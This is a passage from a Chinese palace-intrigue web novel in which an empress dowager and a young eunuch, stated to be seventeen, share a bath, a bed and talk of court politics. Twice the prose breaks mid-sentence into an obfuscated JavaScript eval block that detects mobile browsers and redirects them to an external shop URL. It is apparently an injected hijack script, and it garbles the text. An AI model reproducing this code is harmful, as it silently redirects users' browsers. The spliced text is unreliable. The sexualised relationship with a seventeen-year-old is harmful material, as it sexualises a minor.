这个词用得微妙。他是外臣,是太监,更是权倾朝野的司礼监掌印。可在这里,在太后寝宫深处的浴堂外,他得到的指示是进去伺候。 关禧点了下头。一名宫女上前,替他推开门。 更浓郁的暖香与水汽扑面而来。室内光线比外间柔和许多,数盏造型别致的琉璃宫灯嵌在墙壁和梁柱间,光线经过水汽的折射,晕开一片朦胧迷离的光雾,将偌大的浴堂笼罩在一片暖昧的昏黄之中。 浴堂地面铺着黑色大理石,倒映着晃动的灯影和水光。正中央,是一个以整块汉白玉砌成的浴池,池壁雕刻着繁复的莲花与祥云纹样。池内热水氤氲,水面漂浮着各色新鲜的玫瑰,茉莉花瓣,随着水波荡漾。池边摆放着同样质地的白玉踏脚和矮几,上面随意搁着盛放香露,澡豆的琉璃瓶罐,以及一壶犹自冒着袅袅热气的清茶。 而池中,有人。 郑书意背对着门口,乌黑浓密的长发尽数绾起,用一根简单的碧玉长簪固定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280898|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在头顶,露出修长优美的脖颈和一片光裸的背脊。她的身体大半浸在温热的水中,水面恰好在肩胛骨下方晃动,花瓣贴着她如玉的肌肤,随着水波起伏。水汽蒸腾,让那裸露在外的肩背线条显得愈发柔和莹润,在朦胧光线下,泛着细腻的光泽。她刚刚结束清洗,一只手臂搭在池边。 江嬷嬷正带着两名贴身宫女,垂手侍立在池边不远处。见到关禧进来,江嬷嬷的眼神闪动了一下,侧头,对着那两名宫女摆了一下手。 两名宫女会意,屈膝行礼,然后低着头,退了出去,并从外面带上了门。 江嬷嬷转向浴池方向,躬身,用一种恰到好处,既能让人听清又不显突兀的音量禀道:“娘娘,关掌印来了。” 池中,郑书意有了反应,抬起那只搭在池边的手臂,向后摆了摆。 一个简单的手势,示意江嬷嬷也可以退下了。 江嬷嬷深深看了关禧一眼,那目光里承载了太多难以言喻的东西,最终化为一声叹息,她也躬身退了出去。 “咔哒。” 门被合拢的声音。 偌大的浴堂,此刻只剩下氤氲的水汽,晃动的灯影,漂浮的花瓣,池中慵懒背对的美人,以及站在门边,一身风雪气息尚未散尽,玄衣玉面的少年权宦。 关禧站在原地,他的目光落在郑书意浸在水中的背影上,那片雪白的肌肤,晃动的花瓣,湿漉漉贴着颈侧的发丝……方才在司礼监大堂强压下的所有烦躁隐痛,以及那种被枷锁困住的窒息感,在胸腔里左冲右突,烧得他眼底发红。 他忽然觉得身上那件竹青色的外袍,那柔软的云缎中衣,乃至外面这件玄色斗篷,都变得无比累赘束缚,紧贴着他的皮肤,提醒着他的身份处境,以及那些必须遵守令人作呕的规则。 他懒得再装。 懒得再维持那副恭顺谨慎,滴水不漏的九千岁面具。 在这里,只有他们两人,装给谁看? 关禧抬手,解开了斗篷领口的丝绦。玄色织金的厚重织物滑落在地,接着,是那件竹青色绣流云纹的外袍,云缎中衣……一件件,被他扯开,褪下,随手丢弃在地上。 衣物摩擦的窸窣声,在寂静的浴堂里格外清晰。 池中,郑书意察觉到了身后的动静,搭在池边的手指蜷缩了一下。 很快,关禧身上便只剩下最后一件贴身亵裤。年轻的身体暴露在温暖湿润的空气中,宽肩窄腰的线条流畅充满力量感,肌肤在琉璃宫灯迷离的光线下,呈现出一种冷白如玉的质感,与池中那片莹润的暖白形成了鲜明的对比。 他走到池边,没有任何迟疑或请示,直接抬腿,跨入了浴池。 “哗啦——” 温热的水流骤然包裹住他的身体,激起一片更大的水花。漂浮的花瓣被冲击得四散开来,又随着水波荡漾着重新聚拢。 水波晃动。 郑书意终于侧过头来。氤氲的水汽濡湿了她的鬓角,几缕发丝贴在她嫣红的脸颊旁,杏眼因热气显得越发水润迷蒙,眼尾天然上挑的弧度在此时少了平日的威仪,多了几分媚意。她的目光落在关禧毫不掩饰阴郁的脸上,扫过他紧抿的唇,滑过他的胸膛,最后重新与他的视线对上。 她的唇边,慢慢漾开一个弧度。 关禧走到她面前,伸出手,不由分说地,揽住了她浸在水中的腰肢,那腰肢柔软富有弹性,肌肤滑腻如最上等的丝绸,沾了水,更显得晶莹剔透。 郑书意轻笑了一声,顺势仰头,更贴近他,湿漉漉的睫毛下,目光像是带着钩子,刮过关禧紧抿的唇和细紧的下颌线,“今日倒是直接。外头雪大,一路走来,冻着了?” “娘娘不是喜欢直接么?”关禧收紧了手臂,将她温软馥郁的身体更紧地压向自己。 他低下头,鼻尖触到她的额发,“奴才装模作样,娘娘嫌虚伪。奴才直接了当,娘娘又嫌莽撞?” 郑书意抬起一只手,湿淋淋的指尖抚上他的脸颊沿着紧绷的颌线滑动,最后停留在他的喉结上,轻轻一按,“牙尖嘴利,是跟谁学的?哀家可没教你这样跟哀家说话。” 关禧喉结在她指尖下滚动了一下,他偏头,张口咬住了她作乱的手指。齿尖陷入柔软的指腹,又在尝到那点咸湿池水后,用舌尖舔了一下。 郑书意呼吸微滞,眼中水光蓦地一深。 关禧松开口,看着那指腹上清晰的齿痕,眼底暗火燃烧,“没人教。”他盯着她的眼睛,一字一句,“是奴才自己无师自通。” 话音未落,他另一只手也环了上来,把她整个人牢牢锁在怀中,然后低下头,吻住了她的唇。 这个吻毫无温柔可言,更像是一场单方面的掠夺,他撬开她的牙关,长驱直入,攫取她的呼吸,啃咬她的唇舌。 池水因为两人激烈的动作哗啦作响,水花溅起。 许久,直到肺部空气耗尽,关禧才松开她。 两人额头相抵,都在剧烈喘息。 郑书意的唇被吮得红肿水亮,眼里情欲的水光几乎要满溢出来,脸颊红晕更盛,胸口随着喘息起伏。她看着关禧同样染满情动颜色的脸,看着他眼中那片混乱的暗火,低低笑了起来。 “这才像样。”她喘息着说,指尖划过他湿透的胸膛,停留在某处旧痕上摩挲,“关禧,记住你现在的样子。恨哀家,又离不开哀家;想撕碎这一切,又不得不依附这一切……这副矛盾的模样,比你平日里那副恭顺死寂的样子,让哀家瞧着,顺眼多了。” 关禧身体一僵,随即,那股自暴自弃的火焰烧得更旺,他上前一步,用力把她抵在池壁上,贴着她的耳廓,气息灼热,“那太后娘娘可要好好看着。看着奴才这副,您亲手雕琢出来的模样。” 他不再言语,用行动代替了所有回答。 温热池水成了最好的媒介,也成了最暧昧的遮掩。 水波剧烈动荡,哗啦声不绝于耳,混合着逐渐失控的喘息,在奢华的浴堂内回荡。 窗外,风雪正急。 浴堂内,春色无边。 113.第 113 章 浴堂内氤氲的水汽渐渐沉淀。 池水平息下来,只余下细微的涟漪。关禧靠在温润的玉池壁上,胸膛起伏,额发湿透,有几缕黏在光洁的额角。他闭着眼,片刻后,才睁开,重新浸入水中,仔细清洗自己。 手指拂过肌肤,带起水花,动作不疾不徐,将方才激烈纠缠留下的所有痕迹,连同心底那些翻腾不休的情绪,一同洗净。 洗罢,他跨出浴池。水珠顺着他年轻紧实的身体线条滑落,滴在地上,很快洇开一小片深色。他赤足走到一旁放置洁净布巾的矮架旁,拿起一块柔软的雪白棉巾,把自己从头到脚擦得半干。 然后,他转身,看向池中。 郑书意仍倚在池边,阖着眼,湿发有几缕散落颈侧,衬得肌肤愈发莹白。花瓣粘在她肩头锁骨,随着她细微的呼吸起伏。 关禧走过去,俯身,用另一块干净的布巾,裹住她的肩头,将她从温水中扶起。 郑书意睫毛颤动了一下,顺着他的力道,任由他将自己带离水面。水声哗啦。她的身体完全暴露在空气中,水珠沿着玲珑的起伏滚落,在宫灯的光线下闪烁着细碎的光。 关禧的动作顿了顿,视线不受控制停留了一瞬,随即垂下眼睫,用宽大的布巾将她整个包裹,开始轻柔擦拭。 从潮湿的发梢,到优美的颈项,圆润的肩头,再到……他擦拭得极认真,指腹隔着柔软的棉布,感受着那具躯体的柔软。 没有狎昵,没有刻意。 郑书意始终半阖着眼,只有在他擦拭到某些部位时,喉咙里会溢出猫儿般哼声。 擦干身体,关禧将她打横抱起。她比看起来要沉一些,带着沐浴后暖融融的温度和香气,毫无保留倚靠在他怀中。 他抱着她,走过微凉的地面,来到浴堂内侧专设的更衣暖阁。 这里比外间更加温暖干燥,地面铺着波斯绒毯,墙角鎏金仙鹤香炉吐着清雅的鹅梨帐中香。靠墙的紫檀木衣柜敞开着,里面整齐悬挂着各色寝衣。 关禧先将郑书意放在铺着柔软狐裘的贵妃榻上,用绒毯盖好。然后走到衣柜前,略一打量,取出一套与他身上云缎中衣质地相仿,但颜色是更柔和的浅樱粉的寝衣,以及同色的绸裤和一件略厚些的月白缎面夹棉长袍。 他走回榻边,掀开绒毯,开始替她穿衣。先抬起她的手臂,套上柔软贴身的寝衣。系好颈侧与腰侧的细带时,他需要俯身靠近。接着是绸裤,他单膝跪地,托起她的脚踝,套上裤管,一直提到腰际。最后是那件月白长袍,宽袍大袖,罩在外面,掩去了寝衣勾勒出的曼妙曲线,只余下雍容。 整个过程中,郑书意都极其配合,有些昏昏欲睡,只是在他偶尔动作稍重时,会微微蹙眉,或是调整一下姿势。 替她穿好鞋袜,一双柔软的白绫袜和暖和的紫羔皮软底睡鞋,关禧这才直起身,快速将自己那套云缎中衣和竹青色外袍重新穿上,系好衣带,又将那件丢弃在地的玄色斗篷拾起,抖了抖。 他再次将郑书意抱起,这次她清醒了些,自然而然地伸出双臂,环住了他的脖颈,脸埋在他颈窝处。 关禧抱着她,稳稳走出暖阁,穿过静谧无人的浴堂回廊,踏入连接寝殿的甬道。 永寿宫寝殿内,早已是另一番天地。 地龙烧得极暖,空气干燥馥郁。重重锦帐低垂,遮住了拔步床内大部分景象,只透出暖黄朦胧的光。床前鎏金熏笼里银骨炭燃烧,榻前一片区域烘得暖意融融。窗棂紧闭,风雪隔绝,只有偶尔风掠过檐角,发出低沉的呜咽,更衬得室内静谧安适。 关禧绕过屏风,走到床边,将郑书意放在铺着驼绒垫褥的床沿坐下。他半跪下来,为她褪去软鞋,然后直起身,扶着她躺下,拉过锦被盖至她腰间。 他自己也脱下外袍和靴子,仅着中衣,在她身侧躺下。床榻宽大,锦绣堆叠。两人之间隔着一拳的距离,气息却已在温暖的被褥间交融。 郑书意似乎真的倦了,闭着眼,长长的睫毛在眼下投出浅浅的阴影。但过了一会儿,她翻了个身,朝着关禧这边偎了过来,手臂横过他腰间,脸颊贴在他肩侧,找了个最舒适的姿势,整个窝进了他怀里。 关禧身体微僵,随即放松。他抬起手臂,犹豫了一下,最终还是落在了她披散着柔滑长发的背上,有一下没一下轻抚着。 “今冬的雪,下得格外久。”郑书意忽然说,声音微哑,响在关禧肩头。 “嗯。”关禧应了一声,手指缠绕着她一缕发丝,“去岁这时候,已经晴过好几回了。” “瑞雪兆丰年。”她轻笑,气息喷在他颈侧,“但愿明年是个好年景,边关少些战事,国库也能充裕些。” “有太后娘娘坐镇,风调雨顺是必然的。”关禧的回答带着惯有的恭维,又因此刻亲密的姿态,少了几分朝堂上的疏离。 郑书意在他怀里动了动,仰起脸看他。烛光透过帐子,在她脸上落下柔和的光影,那双杏眼半睁着,褪去了浴池中的媚意,只剩下一片懒洋洋的清明,“就你会说话。”她抬手,用指尖戳了戳他的胸口,“柳正文那老东西,要是有你一半会看眼色,哀家也省心许多。” 话题陡然转向朝堂,关禧抚着她背脊的手停了停,“首辅大人……”他斟酌着词句,“年事已高,近来又一直称病,或许是精力不济了。” “精力不济?”郑书意哼了一声,指尖在他胸膛画着圈,力道重了些,“他那是心里头不痛快,跟哀家耍脾气呢。觉得哀家一个女人,手伸得太长,管得太多。他们柳家世代清流,自诩忠君体国,心里头那杆秤,终归还是更偏向皇帝那头。称病不朝?不过是摆个姿态,告诉哀家,也告诉前头那些观望的人,他柳文正不掺和某些事。” 她口中的某些事,自然是指她与皇帝之间日益微妙的权力博弈,以及关禧这个她一手扶持起来,如今权倾朝野的阉党首领的崛起。 关禧沉默片刻,低声问:“娘娘是想让奴才……动一动柳家?” 他问得直接。掌权数月,他已深谙如何为太后扫清障碍,柳家虽是百年清流,树大根深,但若太后真要动手,他也有的是法子能让他们倒下去。 郑书意“啧”了一声,抬眸瞪他,手上力道加重,在他胳膊内侧掐了一把。 “嘶——”关禧没防备,抽了口凉气。 “莽撞!”郑书意收回手,重新窝回他怀里,语气带着几分嗔怪,“柳正文迂腐是迂腐,能力却是不错的。六部运转,朝政平衡,这些年没出大乱子,也有他一份苦劳。哀家是要敲打,不是要拆台。真把他弄下去了,换个更不听话、或者更没用的上来,岂不是给自己找麻烦?” 她顿了顿,指尖又在他中衣的系带上绕了绕,声音低了下去:“这朝堂啊,像一架精密的机括,每个齿轮都得在它该在的位置上,转得太快不行,卡死了更不行。柳家……现在还算是个有用的齿轮,只是需要紧紧弦,上点油,让它别生出不该有的锈来。” 关禧听懂了。 太后对柳家,是既要利用其声望和能力维持朝局稳定,又要威慑其不得倒向皇帝,更不允许他们成为阻碍她掌控权力的锈。这其中的分寸,需要极高的手腕。 “奴才明白了。”他应道,手臂收紧了些,“那娘娘的意思,是让奴才寻个由头,敲打敲打柳家?或是,找点能让柳首辅清醒清醒的东西?” 郑书意抬起眼,细细端详着他近在咫尺的脸。少年俊美的轮廓在朦胧光线下柔和了许多,她忽然探身,在他唇上轻啄了一下,“聪明。不过不急。年关将近,各部都忙,等过了这个年再说。柳正文既然病着,就让他好好养病。开春之后……吏部、都察院,总有几桩事情,可以让他带病操操心。” 她的话语轻描淡写,却已为明年开春的政治风向定下了基调。 关禧默默记下,不再多言。 殿内重归寂静。温暖的被褥,怀中美人的馨香与柔软,熏笼持续的暖意,让他紧绷的神经不由自主松弛下来,倦意如潮水般上涌。 郑书意倒是不困,在他怀里蹭了蹭,寻了个更舒服的位置,脸颊贴着他温热的胸膛,听着那平稳有力的心跳,又道:“明年开春,宫里也该添些新人了。皇帝登基这些年,后宫一直不算充盈,子嗣也单薄。哀家想着,趁着春暖花开,好好办一场选秀,挑些品貌端庄、家世清白的姑娘进来,也好为皇家开枝散叶。” “前朝那些个臣子,家里有适龄女儿的,怕不是早盼着了。这也好,选些知根知底的,总比不知从哪里冒出来的狐媚子强。四妃的位子,总不能一直空着,也该有人填上去,帮着皇后协理六宫,分分忧。” 四妃…… 关禧眼前倏然掠过承华宫寂静的庭院,冯昭仪那张温婉的脸,以及……她身边那个永远沉静如水的青色身影,下意识的,一个念头冲口而出:“娘娘思虑周全。只是……新人虽好,到底年轻,对宫中规矩人事生疏,骤然居高位,恐难服众,也未必能立刻帮衬娘娘与皇后。依奴才浅见,不如……先从现成的人里,拉拔一两个上来?” “哦?你有人选?”郑书意抬起眼看他,杏眼在昏黄帐内光线下显得幽深。 关禧迎着她的目光,心跳得有些快,面上竭力维持着平静,“奴才觉得……承华宫的冯昭仪娘娘,入宫多年,资历足够,性情温婉,行事稳妥,协理宫务也一直尽心尽力。最重要的是,冯家是清流,向来不偏不倚。若娘娘此时施恩,将她提上来,冯家想必感激涕零,冯昭仪也定然更能体会娘娘苦心,往后……自然更知分寸。” 他说得冠冕堂皇,每一句都像是在为太后扩充势力,拉拢中立派系着想。可心底那点连自己都不愿深究的期盼,像冰层下的暗流涌动,冯昭仪若得势,地位稳固,她宫中的人,自然水涨船高。 楚玉……总归能过得好些,少受些磋磨,也更安全些。 郑书意看着他,看了好一会儿。帐内光线昏暗,她的眼神却像能穿透皮囊,直抵人心。方才那点温存,早已退去,嘴角那点若有似无的笑意,慢慢淡了,消失了。 忽然,她轻笑了一声,短促,冰凉。 她伸出手,不是方才那种带着亲昵的触碰,指尖抬起了关禧的下巴,迫使他面对自己。 “冯昭仪?冯家清流,不偏不倚?关禧,你如今是越发会为哀家着想了。拉拢冯家,倒确实是个不错的主意。” “只是……你这么急着为冯昭仪铺路,是真觉得她能帮哀家分忧,还是……”她顿了顿,杏眼微眯,“惦记着她宫里那个叫楚玉的丫头,怕她在不得势的主子手下受了委屈,想给她换个更安稳的靠山,嗯?” 关禧呼吸一窒,方才那点自以为是的盘算和隐秘期盼,在她洞悉一切的目光下,瞬间无所遁形,碎成齑粉。 “娘娘……”他喉咙发干,想辩解,却发现自己在她这样的注视下,竟连一句完整圆滑的托词都组织不起来。 他触怒她了,他因为那点不该有的私心,越界了。 郑书意看着他眼底一闪而过的慌乱,那股无名火“蹭”地一下烧得更旺,她松开了钳制他下巴的手,坐起了身,锦被从肩头滑落,露出月白寝衣下一段优美的脖颈和锁骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280899|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她居高临下地俯视着半躺在榻上的关禧,胸口起伏,冷声道: “怎么不说话了?被哀家说中了?哀家给你的还不够多?司礼监掌印,滔天的权势,哪一样不是哀家给你的?你现在倒好,翅膀还没硬透,就敢在哀家眼皮子底下,为你心里头那点见不得光的人打算盘了?关禧,你是不是忘了,楚玉的命,是谁暂时替你保着的?你是不是也忘了,你如今拥有的一切,都是谁赏的?” 她的质问一句接一句,又急又厉,完全失了平日里的雍容淡定,倒像个……像个被触动了某种禁忌领域,骤然竖起尖刺的…… 关禧被她这突如其来的激烈反应震得有些发懵,脑子一时没转过来。太后生气了,他当然知道,可这气似乎不仅仅是源于他公私不分的建议,也不仅仅是对他可能恃宠生骄的警告。这怒火里,夹杂着个人化的情绪。 一个荒谬绝伦,又无比清晰的念头。 她……这是在吃醋? 为了他刚刚那个,明显更偏向楚玉的私心? 这个认知让关禧僵住,高高在上,执掌生杀,将他当作棋子与玩物般操控的太后,竟然会因为他提及另一个女人可能受益而动怒?流露出这般失态的情绪? 荒谬。太荒谬了。 可偏偏,眼前这张因薄怒而染上绯红,柳眉倒竖,杏眼圆睁的脸,在摇曳的烛光下,少了平日的深不可测,多了几分鲜活生动的气恼。 一时间忘了恐惧,忘了辩解,他喉结滚动了一下,喃喃出声: “娘娘,您这是在跟一个宫女置气?” 话一出口,关禧就后悔了。这简直是在火上浇油。 果然,郑书意脸上的红晕更深,不是羞涩,是怒极,她扬手,想给他一巴掌,可手挥到半空,又硬生生顿住了,指尖发抖。 “你放肆!”她低声喝道,“哀家是气你不识抬举,不知分寸!谁允许你妄自揣测哀家的心思?!” 关禧看着她强作镇定却难掩波动的模样,心底那点荒谬感越来越清晰,他知道自己此刻应该请罪,应该惶恐,应该把姿态放到最低。 可不知怎的,看着她这副样子,他忽然就不想那么做了。 他撑着坐起身,凑近了些,抬手,握住了她顿在半空的手腕。 “奴才该死。”他嘴上说着请罪的话,目光却直直看着她的眼,“奴才愚钝,惹娘娘生气了。” 他停顿了一下,指尖在她细腻的腕骨上摩挲了一下,目光掠过她因薄怒愈发明亮的眼睛,微蹙的柳眉,泛红的脸颊,还有那形状优美的唇。 “只是……奴才从未见过娘娘这般模样。”他声音更低,更缓,“柳眉杏眼含嗔带怒,眼波流转处,倒比平日更添颜色,像是……像是春水初融,映着桃花,好看得紧。” 这话说得大胆至极,逾越至极。已不仅仅是哄劝,调情,且是以下犯上的调情。 郑书意被他握住手腕,又听得这番言语,整个人都僵住了。她想抽回手,想厉声斥责他僭越无礼,想让他滚出去……可手腕被他握着的地方传来温热的触感,他指尖那小心翼翼的摩挲,他眼中那毫不掩饰的目光,还有他那番直白赞美的话语……把她胸腔里那股熊熊燃烧的怒火,一点点浇熄。 她掌权多年,听过无数阿谀奉承,言辞比这华丽的不知凡几。可从没有人,敢在这样的情境下,用这样的眼神,这样的语气对她说这样的话。 像是在认错,又像是在告白。 像是在安抚她的怒火,又像是在挑衅她的权威。 像是在为她吃醋而欣喜,又像是在为这发现而雀跃。 复杂难言,却偏偏……该死的有效。 郑书意深吸一口气,又缓缓吐出,试图平复过快的心跳,别开了脸,不再与他对视,声音已软了许多: “油嘴滑舌……跟谁学的这些浑话?还不松开!” 关禧见她态度松动,心中一定,得寸进尺地将她的手拉下,握在掌心。他倾身,额头要抵上她的,温热的气息拂过她的脸颊,声音轻得像羽毛搔刮在心上: “没跟谁学,是奴才瞧着娘娘生气,心里着急,胡乱说的。但字字是真。娘娘什么样,在奴才眼里都是顶好的。只是……方才那样,格外生动,奴才一时看呆了,才口不择言。娘娘若还生气,只管罚奴才,奴才绝无怨言。” 他一边说,一边观察着她的神色,见她眼角余光瞥过来,虽仍板着脸,但眼底厉色已消。他心念一动,大着胆子,低头,在她抿着的唇角,印了一下。 一触即分。 像蜻蜓点水,却带着燎原的火星。 郑书意浑身一颤,转回头看他,眼中满是惊愕,嘴唇微张,似乎想说什么,却最终什么也没说出来。脸颊上的红晕,烧透了。 关禧见她没有发作,胆子更大了些,索性伸手,将她揽回怀里,让她重新靠在自己胸前,“娘娘别气了,奴才知错了。冯昭仪的事,奴才再不提了。选秀也好,四妃也罢,都听娘娘的安排。奴才只是娘娘的奴才,心里只该装着娘娘,不该有别的念想。奴才记下了。” 他以退为进,姿态放得极低,话语里却将自己与她紧紧捆绑在一起,抹去了楚玉的影子,只留下顺从。 郑书意靠在他怀里,听着他沉稳的心跳,感受着他身上传来的温热,鼻尖萦绕着他沐浴后清爽又带着一丝独有气息的味道。方才那场突如其来的风波,那尖锐的醋意,那被看穿的羞恼,在他这番大胆又诚恳的连消带打下,竟平息了。 她闭上眼,在他胸前蹭了蹭,低低“嗯”了一声,算是回应。 114.第 114 章 次日清晨。 雪霁。 郑书意先醒。 意识像是从温软的水底缓慢上浮,尚未完全清明,身体的感知已先一步复苏。暖,很暖。锦被蓬松,身下垫褥柔软,腰间环着一条手臂,沉甸甸的。手臂贴着一片温热的胸膛,规律的心跳透过薄薄的寝衣布料,一下,又一下,平稳传递过来。 她动了动,想要舒展一下有些僵麻的肩颈,却发现自己动弹的幅度十分有限。那环在腰间的手臂似乎察觉到她的意图,下意识收紧了,一个毛茸茸的脑袋还顺势在她颈窝处蹭了蹭,呼吸温热,拂过她敏感的耳后肌肤。 郑书意彻底醒了。 她保持着侧卧的姿势,理清了此刻的状况,不是她像昨夜入睡前那般,依偎在他怀里。而是他,不知何时,竟翻了个身,大半个身子的重量都靠了过来,手臂搂着她的腰,脸埋在她颈侧,以一种全然依赖的姿势,窝在了她的怀里。 像个……在冰天雪地里跋涉了太久,终于找到一处温暖洞穴,便迫不及待将整个身子蜷进去,连睡梦中都死死扒住热源不肯松手的兽。 这个认知让郑书意有片刻的怔忪。 她睁开眼。视线适应了帐内昏昧的光线,首先映入眼帘的,是近在咫尺的一小片肌肤,属于关禧的颈侧。年轻光滑,上面还残留着几道浅浅的红痕。他的头发乌黑柔软,散在枕上,也蹭在她的脸颊旁,带着他身上清淡皂角的干净气息。 他睡得正沉。平日里那双或沉静,或算计,或阴郁的丹凤眼,紧紧闭着,长而密的睫毛在眼睑下投出两弯阴影。鼻梁挺直,嘴唇……平日里总是习惯性抿着,此刻放松,显露出原本优美的弧线,少了几分醒时的凌厉,多了些罕见的柔软。 郑书意就这样看着他,看了许久。殿内静极了,只有两人交织的呼吸声,和远处隐约宫人们开始洒扫庭院的细微声响。 他竟然会这样睡。 每次都是这样吗?郑书意忽然想起,似乎不止一次,她在他身边醒来时,两人之间的姿势,总与入睡前不同。有时是他将她揽得更紧,有时像现在这样,他悄无声息就钻进了她怀里。她素来睡眠警醒,鲜少被人近身而不察,可偏偏对他……或许是她潜意识里知道是他,便卸下了防备?又或许,是他动作太轻,太自然,像是早已演练过千百遍? 一丝极淡,连她自己都未曾意识到的怜惜,悄然漫过心田。可这怜惜只持续了短短一瞬,便被更现实的浪潮覆盖。 他才十七岁。 十七岁。 而她……快四十了。 二十二年的鸿沟,横亘在他们之间。不仅仅是年龄,更是阅历,心性,乃至对生命的全部感知。她在他这个年纪时,早已入宫,在波谲云诡的后宫中挣扎求存,学会了察言观色,学会了隐忍谋划,甚至已经生下了萧衍,开始为自己和儿子的未来搏杀。她的青春,她的天真,早早就埋葬在了这重重宫墙之下,化作了如今这身华服之下冷硬的心肠和算尽机关的手腕。 可他呢?十七岁的关禧,本该是鲜衣怒马,意气风发的少年郎,或许在学堂里与同窗争辩,或许在春日里纵马踏青,或许心里偷偷藏着某个羞于启齿的姑娘……而不是像现在这样,穿着太监的服饰,顶着九千岁的名头,手上沾着洗不净的血,夜里像一只受冻的雏鸟般,紧紧依偎在一个年长他二十二岁,足以做他母亲的女人怀里,寻求那一点可怜的短暂温度和安宁。 郑书意心头泛起一阵细密的刺痛。 不是后悔,她从不为自己做的选择后悔。而是某种类似于看着一件精美却注定易碎的瓷器,被自己亲手涂上了最浓艳也最污浊的色彩,既欣赏这扭曲后的独特美感,又难以避免地,为它原本该有清透的模样感到一丝惋惜,和罪恶。 她吸了一口气,冰凉的空气吸入肺腑,压下了那点不合时宜的柔软。 目光重新落回关禧熟睡的脸上,那点怜惜,渐渐被更复杂的审视取代。这孩子……不,这少年,这柄她亲手打磨淬炼的刀,睡着时是这般毫无防备的依赖模样,可一旦醒来,那双眼睛里便盛满了与她如出一辙的深沉心机,甚至在某些时刻,爆发出连她都心惊的狠戾。他依赖她,却也恨她;他取悦她,却也试图掌控她;他离不开她给的权势和庇护,却也时时刻刻想要挣脱她。 矛盾,扭曲,却又偏偏……如此鲜活,如此有趣,如此让她…… 郑书意没有深想下去。 她伸出手,指尖悬空,隔着一寸的距离,虚虚描摹着他眉眼轮廓,从光洁的额头,到挺直的鼻梁,再到那双此刻紧闭,却总能搅动她心绪的眼睛,最后停在那唇角。 真是一副好皮囊。老天爷赏的,也是她一手雕琢成如今这般模样的。 指尖终究没有落下。她收回了手,重新闭上眼睛,调整了一下呼吸,将心头那点翻涌的杂念尽数压下。 罢了。 既然已经走到了这一步,既然他已成了她棋盘上最重要,也最特殊的一枚棋子,既然他们之间早已纠缠不清,剪不断,理还乱……那便继续走下去吧。怜惜也好,罪恶也罢,都是这深宫权斗中最无用也最奢侈的情绪。她需要的,是他这把刀足够锋利,足够听话,也足够……与她在这条看不到尽头的路上,相互依偎,相互取暖,哪怕这温暖建立在无数不堪之上。 至于年龄……二十二年的差距,或许在旁人眼中是惊世骇俗,是难以逾越的沟壑。可在这吃人的皇宫里,在权力巅峰的孤独寒冷中,这点年龄差距带来的复杂况味,不足为奇。 关禧觉浅。 他眼帘未掀,先以身体感知着周遭。温香软玉在怀,是郑书意,她醒了,但没动。可她的身体不像往日晨醒时那般放松,透着一种隐嗨的紧绷,那心跳比平时快了些。 怎么了? 这个念头划过脑海,驱散了最后一丝朦胧。关禧睁开眼,目光先是落在近在咫尺那段雪白优美的颈上,然后,他动了。 就着侧卧的姿势,脸埋进她披散着馨香长发的颈窝,鼻尖蹭过温热细腻的肌肤,含糊地问: “娘娘……怎么了?” 他的声音很轻,温热的气息全数喷在她的颈侧。 郑书意被他这突如其来的贴近和询问弄得浑身一僵,那点暗藏的心事被戳了一下,她本能否认:“没怎么。”转了个身,声音因他气息的侵扰有些不稳,“睡你的。” 关禧却不肯罢休。 他维持着从背后拥着她的姿势,手臂用力,将她整个人带着,轻而易举翻转过来,变成了面对面的姿态。随即,他撑起上半身,双臂一左一右,压在她身侧的锦褥上,将她困在了自己身下与床榻之间。 他垂着眼,目光落在她脸上,审视着她。那张明艳的脸上犹带睡意,此刻却因他这极具压迫感的姿势和专注的凝视,晕开了一层薄红,不是胭脂,胜似胭脂。 她的眼神有些闪躲,不像平日那般深不见底,直透人心,反倒像是被看穿了什么隐秘的心事,带着一丝来不及完全掩藏的羞恼。 关禧心头那点探究瞬间变了味道。昨夜浴池的旖旎,床榻间的温存,尚未完全冷却的记忆翻涌上来,混合着她不同寻常的赧然。他俯身,更凑近了些,目光锁着她躲闪的眸子,唇角勾起一抹戏谑的弧度。 “心跳这么快,呼吸也乱,娘娘,”他顿了顿,刻意放慢语速,每个字都清晰无比,“是不是想要?” “轰——” 郑书意只觉得一股热气从脚底直冲头顶,脸颊烧得滚烫,连耳根脖领都未能幸免。她简直不敢相信自己听到了什么,这混账东西!他、他怎么敢……怎么敢用这种话,这种语气,在这种青天白日,刚刚睡醒的时候,就这样直白地问出来?! 是,他们之间早已突破了那层界限,夜晚的放纵,清晨的纠缠,并非没有过。可那更多是情欲的沉沦,是权力交织下的宣泄,或是他别有用心的讨好。从未像此刻这般,被他用如此不加掩饰,甚至带着点促狭和笃定的口吻,直截了当地戳破她可能存在的渴望。 这让她感觉自己像个……像个急不可耐的深宫怨妇,虽然他说的未必不是事实,方才那一瞬间,看着他毫无防备的睡颜,对比着彼此年龄的差距,那复杂心绪翻滚间,未必没有一丝被岁月催逼出对鲜活温暖的掠夺性占有欲。但想是一回事,被这样明晃晃说出来,尤其是被他这样一个小她二十多岁的少年宦官说出来,简直…… 羞愤难当! “你胡吣什么!”郑书意恼羞成怒,仲手去推他压下来的胸膛,指尖触到他中衣下温热的肌理,像是被烫到般蜷缩了一下,“谁、谁想了!给哀家下去!没规没矩!” 她试图端起太后的架子,可嫣红的脸频,闪烁的眼神,还有那明显底气不足的呵斥,都让这份威严大打折扣。 